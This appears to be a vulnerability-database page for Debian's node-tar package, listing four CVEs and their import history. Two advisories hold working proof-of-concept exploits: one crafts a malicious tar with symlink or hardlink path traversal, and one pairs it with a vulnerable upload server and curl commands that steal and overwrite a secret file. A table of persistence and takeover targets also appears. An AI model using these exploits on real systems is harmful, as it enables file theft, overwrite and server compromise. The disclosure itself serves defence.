Search for packages
| purl | pkg:deb/debian/node-tar@0?distro=trixie |
| Vulnerability | Summary | Fixed by |
|---|---|---|
| This package is not known to be affected by vulnerabilities. | ||
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-3ctc-sy35-yba5 | node-tar has a race condition leading to uninitialized memory exposure Using `.t` (aka `.list`) with `{ sync: true }` to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. |
CVE-2025-64118
GHSA-29xp-372q-xqph |
| VCID-m4hj-dq8q-67f6 | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The npm package "tar" (aka node-tar) has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. |
CVE-2021-37713
GHSA-5955-9wpr-37jh |
| VCID-qunt-xms1-a3cc | node-tar Symlink Path Traversal via Drive-Relative Linkpath ### Summary `tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction. ### Details The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value. What happens with `linkpath: "C:../../../target.txt"`: 1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`. 2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted. 3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`. 4. Writing through the extracted symlink overwrites the outside file (`../target.txt`). This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives. ### PoC Tested on Arch Linux with `tar@7.5.10`. PoC script (`poc.cjs`): ```js const fs = require('fs') const path = require('path') const { Header, x } = require('tar') const cwd = process.cwd() const target = path.resolve(cwd, '..', 'target.txt') const tarFile = path.join(cwd, 'poc.tar') fs.writeFileSync(target, 'ORIGINAL\n') const b = Buffer.alloc(1536) new Header({ path: 'a/b/l', type: 'SymbolicLink', linkpath: 'C:../../../target.txt', }).encode(b, 0) fs.writeFileSync(tarFile, b) x({ cwd, file: tarFile }).then(() => { fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n') process.stdout.write(fs.readFileSync(target, 'utf8')) }) ``` Run: ```bash node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt ``` Observed output: ```text PWNED ../../../target.txt lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt .rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt ``` `PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory. ### Impact This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction. Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files |
CVE-2026-31802
GHSA-9ppj-qmqm-q256 |
| VCID-xqpk-t1d2-yqak | node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal ### Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. ### Details The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently: **Security check in `[STRIPABSOLUTEPATH]`:** ```javascript const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { /* block */ } ``` **Hardlink creation in `[HARDLINK]`:** ```javascript const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest); ``` **Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`. - **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**. - **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`. The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape. ### PoC #### Setup Create a new directory with these files: ``` poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here) ``` **package.json** ```json { "dependencies": { "tar": "^7.5.0" } } ``` **secret.txt** (sensitive file outside uploads/) ``` DATABASE_PASSWORD=supersecret123 ``` **server.js** (vulnerable file upload server) ```javascript const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar'); const PORT = 3000; const UPLOAD_DIR = path.join(__dirname, 'uploads'); fs.mkdirSync(UPLOAD_DIR, { recursive: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(`http://localhost:${PORT}`)); ``` **create-malicious-tar.js** (attacker creates exploit TAR) ```javascript const fs = require('fs'); function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; } // Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar'); ``` #### Run ```bash # Setup npm install echo "DATABASE_PASSWORD=supersecret123" > secret.txt # Terminal 1: Start server node server.js # Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload # READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read # Returns: DATABASE_PASSWORD=supersecret123 # WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write # Confirm secret.txt was modified cat secret.txt ``` ### Impact An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables: **Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process. **Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory. ### Remote Code Execution / Server Takeover | Attack Vector | Target File | Result | |--------------|-------------|--------| | SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server | | Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution | | Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login | | Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests | | Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart | | User Creation | `/etc/passwd` (if running as root) | Add new privileged user | ## Data Exfiltration & Corruption 1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations 2. **Read sensitive files** by creating hardlinks that point outside extraction directory 3. **Corrupt databases** and application state 4. **Steal credentials** from config files, `.env`, secrets |
CVE-2026-24842
GHSA-34x7-hfp2-rc4v |
| Date | Actor | Action | Vulnerability | Source | VulnerableCode Version |
|---|---|---|---|---|---|
| 2026-04-16T11:43:54.528945+00:00 | Debian Importer | Fixing | VCID-m4hj-dq8q-67f6 | https://security-tracker.debian.org/tracker/data/json | 38.4.0 |
| 2026-04-16T10:24:18.612862+00:00 | Debian Importer | Fixing | VCID-3ctc-sy35-yba5 | https://security-tracker.debian.org/tracker/data/json | 38.4.0 |
| 2026-04-13T07:59:52.111255+00:00 | Debian Importer | Fixing | VCID-m4hj-dq8q-67f6 | https://security-tracker.debian.org/tracker/data/json | 38.3.0 |
| 2026-04-13T07:00:55.462305+00:00 | Debian Importer | Fixing | VCID-3ctc-sy35-yba5 | https://security-tracker.debian.org/tracker/data/json | 38.3.0 |
| 2026-04-03T07:47:16.788629+00:00 | Debian Importer | Fixing | VCID-qunt-xms1-a3cc | https://security-tracker.debian.org/tracker/data/json | 38.1.0 |
| 2026-04-03T07:47:16.650796+00:00 | Debian Importer | Fixing | VCID-xqpk-t1d2-yqak | https://security-tracker.debian.org/tracker/data/json | 38.1.0 |
| 2026-04-03T07:47:16.515662+00:00 | Debian Importer | Fixing | VCID-3ctc-sy35-yba5 | https://security-tracker.debian.org/tracker/data/json | 38.1.0 |
| 2026-04-03T07:47:16.424740+00:00 | Debian Importer | Fixing | VCID-m4hj-dq8q-67f6 | https://security-tracker.debian.org/tracker/data/json | 38.1.0 |